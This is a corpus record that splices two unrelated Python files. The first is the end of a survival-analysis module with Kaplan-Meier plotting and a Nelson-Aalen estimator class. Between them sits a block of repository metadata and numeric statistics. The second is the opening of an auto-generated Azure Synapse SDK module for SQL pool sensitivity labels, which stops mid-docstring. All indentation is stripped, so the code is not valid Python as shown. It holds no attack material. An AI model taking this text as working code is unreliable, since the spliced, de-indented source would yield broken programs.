KM_lower = np.array(KM_lower)
KM_upper = np.array(KM_upper)
KM_upper[KM_upper > 1] = 1
KM_lower[KM_lower < 0] = 0
# assemble the pandas dataframe for the output
DATA = {'Failure times': d,
'Censoring code (censored=0)': c,
'Items remaining': remaining_array,
'Kaplan-Meier Estimate': KM,
'Lower CI bound': KM_lower,
'Upper CI bound': KM_upper}
dfx = pd.DataFrame(DATA, columns=['Failure times', 'Censoring code (censored=0)', 'Items remaining', 'Kaplan-Meier Estimate', 'Lower CI bound', 'Upper CI bound'])
dfy = dfx.set_index('Failure times')
pd.set_option('display.width', 200) # prevents wrapping after default 80 characters
pd.set_option('display.max_columns', 9) # shows the dataframe without ... truncation
self.results = dfy
self.KM = KM
KM_x = [0]
KM_y = [1] # adds a start point for 100% reliability at 0 time
KM_y_upper = []
KM_y_lower = []
for i in failures_array:
if i == 1:
if c[i - 1] == 0: # if the first item is censored
KM_x.append(d[i - 1])
KM_y.append(1)
KM_y_lower.append(1)
KM_y_upper.append(1)
else: # if the first item is a failure
KM_x.append(d[i - 1])
KM_x.append(d[i - 1])
KM_y.append(1)
KM_y.append(KM[i - 1])
KM_y_lower.append(1)
KM_y_upper.append(1)
KM_y_lower.append(1)
KM_y_upper.append(1)
else:
if KM[i - 2] == KM[i - 1]: # if the next item is censored
KM_x.append(d[i - 1])
KM_y.append(KM[i - 1])
KM_y_lower.append(KM_lower[i - 2])
KM_y_upper.append(KM_upper[i - 2])
else: # if the next item is a failure
KM_x.append(d[i - 1])
KM_y.append(KM[i - 2])
KM_y_lower.append(KM_lower[i - 2])
KM_y_upper.append(KM_upper[i - 2])
KM_x.append(d[i - 1])
KM_y.append(KM[i - 1])
KM_y_lower.append(KM_lower[i - 2])
KM_y_upper.append(KM_upper[i - 2])
KM_y_lower.append(KM_y_lower[-1])
KM_y_upper.append(KM_y_upper[-1])
self.xvals = np.array(KM_x)
self.SF = np.array(KM_y)
self.SF_lower = np.array(KM_y_lower)
self.SF_upper = np.array(KM_y_upper)
self.CDF = 1 - self.SF
self.CDF_lower = 1 - self.SF_upper
self.CDF_upper = 1 - self.SF_lower
self.CHF = -np.log(self.SF)
self.CHF_lower = -np.log(self.SF_upper)
self.CHF_upper = -np.log(self.SF_lower)
if print_results is True:
print(dfy) # this will print the pandas dataframe
# plotting section
if show_plot is True:
# extract certain keyword arguments or specify them if they are not set. We cannot pass all kwargs to CI plots as some are not appropriate (eg. label)
if 'color' in kwargs:
CI_color = kwargs.get('color')
else:
CI_color = 'steelblue'
if plot_type == 'SF':
plt.plot(self.xvals, self.SF, **kwargs)
if plot_CI is True: # plots the confidence bounds
title_text = str('Kaplan-Meier SF estimate\n with ' + str(int(CI * 100)) + '% confidence bounds')
plt.fill_between(self.xvals, self.SF_lower, self.SF_upper, color=CI_color, alpha=0.3)
else:
title_text = 'Kaplan-Meier estimate of Survival Function'
plt.xlabel('Failure units')
plt.ylabel('Reliability')
plt.title(title_text)
plt.xlim([0, max(KM_x)])
plt.ylim([0, 1.1])
if plot_type == 'CDF':
plt.plot(self.xvals, self.CDF, **kwargs)
if plot_CI is True: # plots the confidence bounds
title_text = str('Kaplan-Meier CDF estimate\n with ' + str(int(CI * 100)) + '% confidence bounds')
plt.fill_between(self.xvals, self.CDF_lower, self.CDF_upper, color=CI_color, alpha=0.3)
else:
title_text = 'Kaplan-Meier estimate of Cumulative Density Function'
plt.xlabel('Failure units')
plt.ylabel('Fraction Failing')
plt.title(title_text)
plt.xlim([0, max(KM_x)])
plt.ylim([0, 1.1])
if plot_type == 'CHF':
plt.plot(self.xvals, self.CHF, **kwargs)
if plot_CI is True: # plots the confidence bounds
title_text = str('Kaplan-Meier CHF estimate\n with ' + str(int(CI * 100)) + '% confidence bounds')
plt.fill_between(self.xvals, self.CHF_lower, self.CHF_upper, color=CI_color, alpha=0.3)
else:
title_text = 'Kaplan-Meier estimate of Cumulative Hazard Function'
plt.xlabel('Failure units')
plt.ylabel('Cumulative Hazard')
plt.title(title_text)
plt.xlim([0, max(KM_x)])
class NelsonAalen:
'''
Nelson-Aalen
Uses the Nelson-Aalen estimation method to calculate the reliability from failure data.
Right censoring is supported and confidence bounds are provided.
The confidence bounds are calculated using the Greenwood formula with Normal approximation.
The Nelson-Aalen method provides the CHF. With a little algebra, the CDF and SF are also obtained from the CHF.
It is not possible to obtain a useful version of the PDF or HF as the derivative of a stepwise function produces very spikey functions.
Nelson-Aalen does obtain the HF directly which is then used to obtain the CHF, but this function is not smooth and is of little use
Inputs:
failure - an array or list of failure times. Sorting is automatic so times do not need to be provided in any order.
right_censored - an array or list of right censored failure times. Defaults to None.
show_plot - True/False. Default is True. Plots the SF.
print_results - True/False. Default is True. Will display a pandas dataframe in the console.
plot_CI - shades the upper and lower confidence interval
CI - confidence interval between 0 and 1. Default is 0.95 for 95% CI.
plot_type - SF, CDF, or CHF. Default is SF.
Outputs:
results - dataframe of results
NA - list of Nelson-Aalen column from results dataframe. This column is the non parametric estimate of the Survival Function (reliability function).
xvals - the x-values to plot the stepwise plot as seen when show_plot=True
SF - survival function stepwise values (these differ from the NA values as there are extra values added in to make the plot into a step plot)
CDF - cumulative distribution function stepwise values
CHF - cumulative hazard function stepwise values
SF_lower - survival function stepwise values for lower CI
SF_upper - survival function stepwise values for upper CI
CDF_lower - cumulative distribution function stepwise values for lower CI
CDF_upper - cumulative distribution function stepwise values for upper CI
CHF_lower - cumulative hazard function stepwise values for lower CI
CHF_upper - cumulative hazard function stepwise values for upper CI
Example Usage:
f = [5248,7454,16890,17200,38700,45000,49390,69040,72280,131900]
rc = [3961,4007,4734,6054,7298,10190,23060,27160,28690,37100,40060,45670,53000,67000,69630,77350,78470,91680,105700,106300,150400]
NelsonAalen(failures = f, right_censored = rc)
'''
def __init__(self, failures=None, right_censored=None, show_plot=True, print_results=True, plot_CI=True, CI=0.95,plot_type='SF', **kwargs):
np.seterr(divide='ignore') # divide by zero occurs if last detapoint is a failure so risk set is zero
if failures is None:
raise ValueError('failures must be provided to calculate non-parametric estimates.')
if right_censored is None:
right_censored = [] # create empty array so it can be added in hstack
if plot_type not in ['CDF','SF','CHF','cdf','sf','chf']:
raise ValueError('plot_type must be CDF, SF, or CHF. Default is SF.')
# turn the failures and right censored times into a two lists of times and censoring codes
times = np.hstack([failures, right_censored])
F = np.ones_like(failures)
RC = np.zeros_like(right_censored) # censored values are given the code of 0
cens_code = np.hstack([F, RC])
Data = {'times': times, 'cens_code': cens_code}
df = pd.DataFrame(Data, columns=['times', 'cens_code'])
df2 = df.sort_values(by='times')
d = df2['times'].values
c = df2['cens_code'].values
self.data = d
self.censor_codes = c
if CI < 0 or CI > 1:
raise ValueError('CI must be between 0 and 1. Default is 0.95 for 95% confidence intervals.')
n = len(d) # number of items
failures_array = np.arange(1, n + 1) # array of number of items (1 to n)
remaining_array = failures_array[::-1] # items remaining (n to 1)
h = []
H = []
NA = [] # R(t)
NA_upper = [] # upper CI
NA_lower = [] # lower CI
z = ss.norm.ppf(1 - (1 - CI) / 2)
frac = []
delta = 0
for i in failures_array:
h.append((c[i - 1]) / remaining_array[i - 1]) # obtain HF
H.append(sum(h)) # obtain CHF
NA.append(np.exp(-H[-1]))
# greenwood confidence interval calculations. Uses Normal approximation
if c[i - 1] == 1:
risk_set = n - i + 1
frac.append(1 / ((risk_set) * (risk_set - 1)))
sumfrac = sum(frac)
R2 = NA[i - 1] ** 2
if R2 > 0: # required if the last piece of data is a failure
delta = ((sumfrac * R2) ** 0.5) * z
else:
delta = 0
NA_upper.append(NA[i - 1] + delta)
NA_lower.append(NA[i - 1] - delta)
NA_lower = np.array(NA_lower)
NA_upper = np.array(NA_upper)
NA_upper[NA_upper > 1] = 1
NA_lower[NA_lower < 0] = 0
# assemble the pandas dataframe for the output
DATA = {'Failure times': d,
'Censoring code (censored=0)': c,
'Items remaining': remaining_array,
'Nelson-Aalen Estimate': NA,
'Lower CI bound': NA_lower,
'Upper CI bound': NA_upper}
dfx = pd.DataFrame(DATA, columns=['Failure times', 'Censoring code (censored=0)', 'Items remaining', 'Nelson-Aalen Estimate', 'Lower CI bound', 'Upper CI bound'])
dfy = dfx.set_index('Failure times')
pd.set_option('display.width', 200) # prevents wrapping after default 80 characters
pd.set_option('display.max_columns', 9) # shows the dataframe without ... truncation
self.results = dfy
self.NA = NA
NA_x = [0]
NA_y = [1] # adds a start point for 100% reliability at 0 time
NA_y_upper = []
NA_y_lower = []
for i in failures_array:
if i == 1:
if c[i - 1] == 0: # if the first item is censored
NA_x.append(d[i - 1])
NA_y.append(1)
NA_y_lower.append(1)
NA_y_upper.append(1)
else: # if the first item is a failure
NA_x.append(d[i - 1])
NA_x.append(d[i - 1])
NA_y.append(1)
NA_y.append(NA[i - 1])
NA_y_lower.append(1)
NA_y_upper.append(1)
NA_y_lower.append(1)
NA_y_upper.append(1)
else:
if NA[i - 2] == NA[i - 1]: # if the next item is censored
NA_x.append(d[i - 1])
NA_y.append(NA[i - 1])
NA_y_lower.append(NA_lower[i - 2])
NA_y_upper.append(NA_upper[i - 2])
else: # if the next item is a failure
NA_x.append(d[i - 1])
NA_y.append(NA[i - 2])
NA_y_lower.append(NA_lower[i - 2])
NA_y_upper.append(NA_upper[i - 2])
NA_x.append(d[i - 1])
NA_y.append(NA[i - 1])
NA_y_lower.append(NA_lower[i - 2])
NA_y_upper.append(NA_upper[i - 2])
NA_y_lower.append(NA_y_lower[-1])
NA_y_upper.append(NA_y_upper[-1])
self.xvals = np.array(NA_x)
self.SF = np.array(NA_y)
self.SF_lower = np.array(NA_y_lower)
self.SF_upper = np.array(NA_y_upper)
self.CDF = 1 - self.SF
self.CDF_lower = 1 - self.SF_upper
self.CDF_upper = 1 - self.SF_lower
self.CHF = -np.log(self.SF)
self.CHF_lower = -np.log(self.SF_upper)
self.CHF_upper = -np.log(self.SF_lower)
if print_results is True:
print(dfy) # this will print the pandas dataframe
# plotting section
if show_plot is True:
# extract certain keyword arguments or specify them if they are not set. We cannot pass all kwargs to CI plots as some are not appropriate (eg. label)
if 'color' in kwargs:
CI_color = kwargs.get('color')
else:
CI_color = 'steelblue'
if plot_type == 'SF':
plt.plot(self.xvals, self.SF, **kwargs)
if plot_CI is True: # plots the confidence bounds
title_text = str('Nelson-Aalen SF estimate\n with ' + str(int(CI * 100)) + '% confidence bounds')
plt.fill_between(self.xvals, self.SF_lower, self.SF_upper, color=CI_color, alpha=0.3)
else:
title_text = 'Nelson-Aalen estimate of Survival Function'
plt.xlabel('Failure units')
plt.ylabel('Reliability')
plt.title(title_text)
plt.xlim([0, max(NA_x)])
plt.ylim([0, 1.1])
if plot_type == 'CDF':
plt.plot(self.xvals, self.CDF, **kwargs)
if plot_CI is True: # plots the confidence bounds
title_text = str('Nelson-Aalen CDF estimate\n with ' + str(int(CI * 100)) + '% confidence bounds')
plt.fill_between(self.xvals, self.CDF_lower, self.CDF_upper, color=CI_color, alpha=0.3)
else:
title_text = 'Nelson-Aalen estimate of Cumulative Density Function'
plt.xlabel('Failure units')
plt.ylabel('Fraction Failing')
plt.title(title_text)
plt.xlim([0, max(NA_x)])
plt.ylim([0, 1.1])
if plot_type == 'CHF':
plt.plot(self.xvals, self.CHF, **kwargs)
if plot_CI is True: # plots the confidence bounds
title_text = str('Nelson-Aalen CHF estimate\n with ' + str(int(CI * 100)) + '% confidence bounds')
plt.fill_between(self.xvals, self.CHF_lower, self.CHF_upper, color=CI_color, alpha=0.3)
else:
title_text = 'Nelson-Aalen estimate of Cumulative Hazard Function'
plt.xlabel('Failure units')
plt.ylabel('Cumulative Hazard')
plt.title(title_text)
plt.xlim([0, max(NA_x)])
| 49.99537
| 170
| 0.586582
| 3,022
| 21,598
| 4.077763
| 0.108537
| 0.006979
| 0.032135
| 0.024345
| 0.891666
| 0.877871
| 0.874787
| 0.837783
| 0.835673
| 0.831129
| 0
| 0.038336
| 0.32003
| 21,598
| 431
| 171
| 50.111369
| 0.800763
| 0.336883
| 0
| 0.744337
| 0
| 0
| 0.131588
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.006472
| false
| 0
| 0.012945
| 0
| 0.02589
| 0.019417
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
25b7607c8d1fd7477ab78eabf0cc1ff260c5be9e
| 42,784
|
py
|
Python
|
sdk/synapse/azure-mgmt-synapse/azure/mgmt/synapse/operations/_sql_pool_sensitivity_labels_operations.py
|
xolve/azure-sdk-for-python
|
9f5baa19c392f77f811d936ee43450e4ea524002
|
[
"MIT"
] | 1
|
2021-09-07T18:39:05.000Z
|
2021-09-07T18:39:05.000Z
|
sdk/synapse/azure-mgmt-synapse/azure/mgmt/synapse/operations/_sql_pool_sensitivity_labels_operations.py
|
xolve/azure-sdk-for-python
|
9f5baa19c392f77f811d936ee43450e4ea524002
|
[
"MIT"
] | null | null | null |
sdk/synapse/azure-mgmt-synapse/azure/mgmt/synapse/operations/_sql_pool_sensitivity_labels_operations.py
|
xolve/azure-sdk-for-python
|
9f5baa19c392f77f811d936ee43450e4ea524002
|
[
"MIT"
] | 1
|
2022-03-04T06:21:56.000Z
|
2022-03-04T06:21:56.000Z
|
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is regenerated.
# --------------------------------------------------------------------------
import functools
from typing import Any, Callable, Dict, Generic, Iterable, Optional, TypeVar, Union
import warnings
from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error
from azure.core.paging import ItemPaged
from azure.core.pipeline import PipelineResponse
from azure.core.pipeline.transport import HttpResponse
from azure.core.rest import HttpRequest
from azure.core.tracing.decorator import distributed_trace
from azure.mgmt.core.exceptions import ARMErrorFormat
from msrest import Serializer
from .. import models as _models
from .._vendor import _convert_request, _format_url_section
T = TypeVar('T')
JSONType = Any
ClsType = Optional[Callable[[PipelineResponse[HttpRequest, HttpResponse], T, Dict[str, Any]], Any]]
_SERIALIZER = Serializer()
_SERIALIZER.client_side_validation = False
def build_list_current_request(
subscription_id: str,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
*,
filter: Optional[str] = None,
**kwargs: Any
) -> HttpRequest:
api_version = "2021-06-01"
accept = "application/json"
# Construct URL
url = kwargs.pop("template_url", '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/currentSensitivityLabels')
path_format_arguments = {
"subscriptionId": _SERIALIZER.url("subscription_id", subscription_id, 'str', min_length=1),
"resourceGroupName": _SERIALIZER.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1),
"workspaceName": _SERIALIZER.url("workspace_name", workspace_name, 'str'),
"sqlPoolName": _SERIALIZER.url("sql_pool_name", sql_pool_name, 'str'),
}
url = _format_url_section(url, **path_format_arguments)
# Construct parameters
query_parameters = kwargs.pop("params", {}) # type: Dict[str, Any]
query_parameters['api-version'] = _SERIALIZER.query("api_version", api_version, 'str')
if filter is not None:
query_parameters['$filter'] = _SERIALIZER.query("filter", filter, 'str')
# Construct headers
header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any]
header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str')
return HttpRequest(
method="GET",
url=url,
params=query_parameters,
headers=header_parameters,
**kwargs
)
def build_update_request(
subscription_id: str,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
*,
json: JSONType = None,
content: Any = None,
**kwargs: Any
) -> HttpRequest:
content_type = kwargs.pop('content_type', None) # type: Optional[str]
api_version = "2021-06-01"
# Construct URL
url = kwargs.pop("template_url", '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/currentSensitivityLabels')
path_format_arguments = {
"subscriptionId": _SERIALIZER.url("subscription_id", subscription_id, 'str', min_length=1),
"resourceGroupName": _SERIALIZER.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1),
"workspaceName": _SERIALIZER.url("workspace_name", workspace_name, 'str'),
"sqlPoolName": _SERIALIZER.url("sql_pool_name", sql_pool_name, 'str'),
}
url = _format_url_section(url, **path_format_arguments)
# Construct parameters
query_parameters = kwargs.pop("params", {}) # type: Dict[str, Any]
query_parameters['api-version'] = _SERIALIZER.query("api_version", api_version, 'str')
# Construct headers
header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any]
if content_type is not None:
header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str')
return HttpRequest(
method="PATCH",
url=url,
params=query_parameters,
headers=header_parameters,
json=json,
content=content,
**kwargs
)
def build_list_recommended_request(
subscription_id: str,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
*,
include_disabled_recommendations: Optional[bool] = None,
skip_token: Optional[str] = None,
filter: Optional[str] = None,
**kwargs: Any
) -> HttpRequest:
api_version = "2021-06-01"
accept = "application/json"
# Construct URL
url = kwargs.pop("template_url", '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/recommendedSensitivityLabels')
path_format_arguments = {
"subscriptionId": _SERIALIZER.url("subscription_id", subscription_id, 'str', min_length=1),
"resourceGroupName": _SERIALIZER.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1),
"workspaceName": _SERIALIZER.url("workspace_name", workspace_name, 'str'),
"sqlPoolName": _SERIALIZER.url("sql_pool_name", sql_pool_name, 'str'),
}
url = _format_url_section(url, **path_format_arguments)
# Construct parameters
query_parameters = kwargs.pop("params", {}) # type: Dict[str, Any]
query_parameters['api-version'] = _SERIALIZER.query("api_version", api_version, 'str')
if include_disabled_recommendations is not None:
query_parameters['includeDisabledRecommendations'] = _SERIALIZER.query("include_disabled_recommendations", include_disabled_recommendations, 'bool')
if skip_token is not None:
query_parameters['$skipToken'] = _SERIALIZER.query("skip_token", skip_token, 'str')
if filter is not None:
query_parameters['$filter'] = _SERIALIZER.query("filter", filter, 'str')
# Construct headers
header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any]
header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str')
return HttpRequest(
method="GET",
url=url,
params=query_parameters,
headers=header_parameters,
**kwargs
)
def build_create_or_update_request(
subscription_id: str,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
schema_name: str,
table_name: str,
column_name: str,
*,
json: JSONType = None,
content: Any = None,
**kwargs: Any
) -> HttpRequest:
content_type = kwargs.pop('content_type', None) # type: Optional[str]
api_version = "2021-06-01"
sensitivity_label_source = "current"
accept = "application/json"
# Construct URL
url = kwargs.pop("template_url", '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/schemas/{schemaName}/tables/{tableName}/columns/{columnName}/sensitivityLabels/{sensitivityLabelSource}')
path_format_arguments = {
"subscriptionId": _SERIALIZER.url("subscription_id", subscription_id, 'str', min_length=1),
"resourceGroupName": _SERIALIZER.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1),
"workspaceName": _SERIALIZER.url("workspace_name", workspace_name, 'str'),
"sqlPoolName": _SERIALIZER.url("sql_pool_name", sql_pool_name, 'str'),
"schemaName": _SERIALIZER.url("schema_name", schema_name, 'str'),
"tableName": _SERIALIZER.url("table_name", table_name, 'str'),
"columnName": _SERIALIZER.url("column_name", column_name, 'str'),
"sensitivityLabelSource": _SERIALIZER.url("sensitivity_label_source", sensitivity_label_source, 'str'),
}
url = _format_url_section(url, **path_format_arguments)
# Construct parameters
query_parameters = kwargs.pop("params", {}) # type: Dict[str, Any]
query_parameters['api-version'] = _SERIALIZER.query("api_version", api_version, 'str')
# Construct headers
header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any]
if content_type is not None:
header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str')
header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str')
return HttpRequest(
method="PUT",
url=url,
params=query_parameters,
headers=header_parameters,
json=json,
content=content,
**kwargs
)
def build_delete_request(
subscription_id: str,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
schema_name: str,
table_name: str,
column_name: str,
**kwargs: Any
) -> HttpRequest:
api_version = "2021-06-01"
sensitivity_label_source = "current"
# Construct URL
url = kwargs.pop("template_url", '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/schemas/{schemaName}/tables/{tableName}/columns/{columnName}/sensitivityLabels/{sensitivityLabelSource}')
path_format_arguments = {
"subscriptionId": _SERIALIZER.url("subscription_id", subscription_id, 'str', min_length=1),
"resourceGroupName": _SERIALIZER.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1),
"workspaceName": _SERIALIZER.url("workspace_name", workspace_name, 'str'),
"sqlPoolName": _SERIALIZER.url("sql_pool_name", sql_pool_name, 'str'),
"schemaName": _SERIALIZER.url("schema_name", schema_name, 'str'),
"tableName": _SERIALIZER.url("table_name", table_name, 'str'),
"columnName": _SERIALIZER.url("column_name", column_name, 'str'),
"sensitivityLabelSource": _SERIALIZER.url("sensitivity_label_source", sensitivity_label_source, 'str'),
}
url = _format_url_section(url, **path_format_arguments)
# Construct parameters
query_parameters = kwargs.pop("params", {}) # type: Dict[str, Any]
query_parameters['api-version'] = _SERIALIZER.query("api_version", api_version, 'str')
return HttpRequest(
method="DELETE",
url=url,
params=query_parameters,
**kwargs
)
def build_get_request(
subscription_id: str,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
schema_name: str,
table_name: str,
column_name: str,
sensitivity_label_source: Union[str, "_models.SensitivityLabelSource"],
**kwargs: Any
) -> HttpRequest:
api_version = "2021-06-01"
accept = "application/json"
# Construct URL
url = kwargs.pop("template_url", '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/schemas/{schemaName}/tables/{tableName}/columns/{columnName}/sensitivityLabels/{sensitivityLabelSource}')
path_format_arguments = {
"subscriptionId": _SERIALIZER.url("subscription_id", subscription_id, 'str', min_length=1),
"resourceGroupName": _SERIALIZER.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1),
"workspaceName": _SERIALIZER.url("workspace_name", workspace_name, 'str'),
"sqlPoolName": _SERIALIZER.url("sql_pool_name", sql_pool_name, 'str'),
"schemaName": _SERIALIZER.url("schema_name", schema_name, 'str'),
"tableName": _SERIALIZER.url("table_name", table_name, 'str'),
"columnName": _SERIALIZER.url("column_name", column_name, 'str'),
"sensitivityLabelSource": _SERIALIZER.url("sensitivity_label_source", sensitivity_label_source, 'str'),
}
url = _format_url_section(url, **path_format_arguments)
# Construct parameters
query_parameters = kwargs.pop("params", {}) # type: Dict[str, Any]
query_parameters['api-version'] = _SERIALIZER.query("api_version", api_version, 'str')
# Construct headers
header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any]
header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str')
return HttpRequest(
method="GET",
url=url,
params=query_parameters,
headers=header_parameters,
**kwargs
)
def build_enable_recommendation_request(
subscription_id: str,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
schema_name: str,
table_name: str,
column_name: str,
**kwargs: Any
) -> HttpRequest:
api_version = "2021-06-01"
sensitivity_label_source = "recommended"
# Construct URL
url = kwargs.pop("template_url", '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/schemas/{schemaName}/tables/{tableName}/columns/{columnName}/sensitivityLabels/{sensitivityLabelSource}/enable')
path_format_arguments = {
"subscriptionId": _SERIALIZER.url("subscription_id", subscription_id, 'str', min_length=1),
"resourceGroupName": _SERIALIZER.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1),
"workspaceName": _SERIALIZER.url("workspace_name", workspace_name, 'str'),
"sqlPoolName": _SERIALIZER.url("sql_pool_name", sql_pool_name, 'str'),
"schemaName": _SERIALIZER.url("schema_name", schema_name, 'str'),
"tableName": _SERIALIZER.url("table_name", table_name, 'str'),
"columnName": _SERIALIZER.url("column_name", column_name, 'str'),
"sensitivityLabelSource": _SERIALIZER.url("sensitivity_label_source", sensitivity_label_source, 'str'),
}
url = _format_url_section(url, **path_format_arguments)
# Construct parameters
query_parameters = kwargs.pop("params", {}) # type: Dict[str, Any]
query_parameters['api-version'] = _SERIALIZER.query("api_version", api_version, 'str')
return HttpRequest(
method="POST",
url=url,
params=query_parameters,
**kwargs
)
def build_disable_recommendation_request(
subscription_id: str,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
schema_name: str,
table_name: str,
column_name: str,
**kwargs: Any
) -> HttpRequest:
api_version = "2021-06-01"
sensitivity_label_source = "recommended"
# Construct URL
url = kwargs.pop("template_url", '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/schemas/{schemaName}/tables/{tableName}/columns/{columnName}/sensitivityLabels/{sensitivityLabelSource}/disable')
path_format_arguments = {
"subscriptionId": _SERIALIZER.url("subscription_id", subscription_id, 'str', min_length=1),
"resourceGroupName": _SERIALIZER.url("resource_group_name", resource_group_name, 'str', max_length=90, min_length=1),
"workspaceName": _SERIALIZER.url("workspace_name", workspace_name, 'str'),
"sqlPoolName": _SERIALIZER.url("sql_pool_name", sql_pool_name, 'str'),
"schemaName": _SERIALIZER.url("schema_name", schema_name, 'str'),
"tableName": _SERIALIZER.url("table_name", table_name, 'str'),
"columnName": _SERIALIZER.url("column_name", column_name, 'str'),
"sensitivityLabelSource": _SERIALIZER.url("sensitivity_label_source", sensitivity_label_source, 'str'),
}
url = _format_url_section(url, **path_format_arguments)
# Construct parameters
query_parameters = kwargs.pop("params", {}) # type: Dict[str, Any]
query_parameters['api-version'] = _SERIALIZER.query("api_version", api_version, 'str')
return HttpRequest(
method="POST",
url=url,
params=query_parameters,
**kwargs
)
class SqlPoolSensitivityLabelsOperations(object):
"""SqlPoolSensitivityLabelsOperations operations.
You should not instantiate this class directly. Instead, you should create a Client instance that
instantiates it for you and attaches it as an attribute.
:ivar models: Alias to model classes used in this operation group.
:type models: ~azure.mgmt.synapse.models
:param client: Client for service requests.
:param config: Configuration of service client.
:param serializer: An object model serializer.
:param deserializer: An object model deserializer.
"""
models = _models
def __init__(self, client, config, serializer, deserializer):
self._client = client
self._serialize = serializer
self._deserialize = deserializer
self._config = config
@distributed_trace
def list_current(
self,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
filter: Optional[str] = None,
**kwargs: Any
) -> Iterable["_models.SensitivityLabelListResult"]:
"""Gets SQL pool sensitivity labels.
Gets SQL pool sensitivity labels.
:param resource_group_name: The name of the resource group. The name is case insensitive.
:type resource_group_name: str
:param workspace_name: The name of the workspace.
:type workspace_name: str
:param sql_pool_name: SQL pool name.
:type sql_pool_name: str
:param filter: An OData filter expression that filters elements in the collection.
:type filter: str
:keyword callable cls: A custom type or function that will be passed the direct response
:return: An iterator like instance of either SensitivityLabelListResult or the result of
cls(response)
:rtype: ~azure.core.paging.ItemPaged[~azure.mgmt.synapse.models.SensitivityLabelListResult]
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType["_models.SensitivityLabelListResult"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
def prepare_request(next_link=None):
if not next_link:
request = build_list_current_request(
subscription_id=self._config.subscription_id,
resource_group_name=resource_group_name,
workspace_name=workspace_name,
sql_pool_name=sql_pool_name,
filter=filter,
template_url=self.list_current.metadata['url'],
)
request = _convert_request(request)
request.url = self._client.format_url(request.url)
else:
request = build_list_current_request(
subscription_id=self._config.subscription_id,
resource_group_name=resource_group_name,
workspace_name=workspace_name,
sql_pool_name=sql_pool_name,
filter=filter,
template_url=next_link,
)
request = _convert_request(request)
request.url = self._client.format_url(request.url)
request.method = "GET"
return request
def extract_data(pipeline_response):
deserialized = self._deserialize("SensitivityLabelListResult", pipeline_response)
list_of_elem = deserialized.value
if cls:
list_of_elem = cls(list_of_elem)
return deserialized.next_link or None, iter(list_of_elem)
def get_next(next_link=None):
request = prepare_request(next_link)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
error = self._deserialize.failsafe_deserialize(_models.ErrorResponse, pipeline_response)
raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat)
return pipeline_response
return ItemPaged(
get_next, extract_data
)
list_current.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/currentSensitivityLabels'} # type: ignore
@distributed_trace
def update(
self,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
parameters: "_models.SensitivityLabelUpdateList",
**kwargs: Any
) -> None:
"""Update sensitivity labels of a given SQL Pool using an operations batch.
:param resource_group_name: The name of the resource group. The name is case insensitive.
:type resource_group_name: str
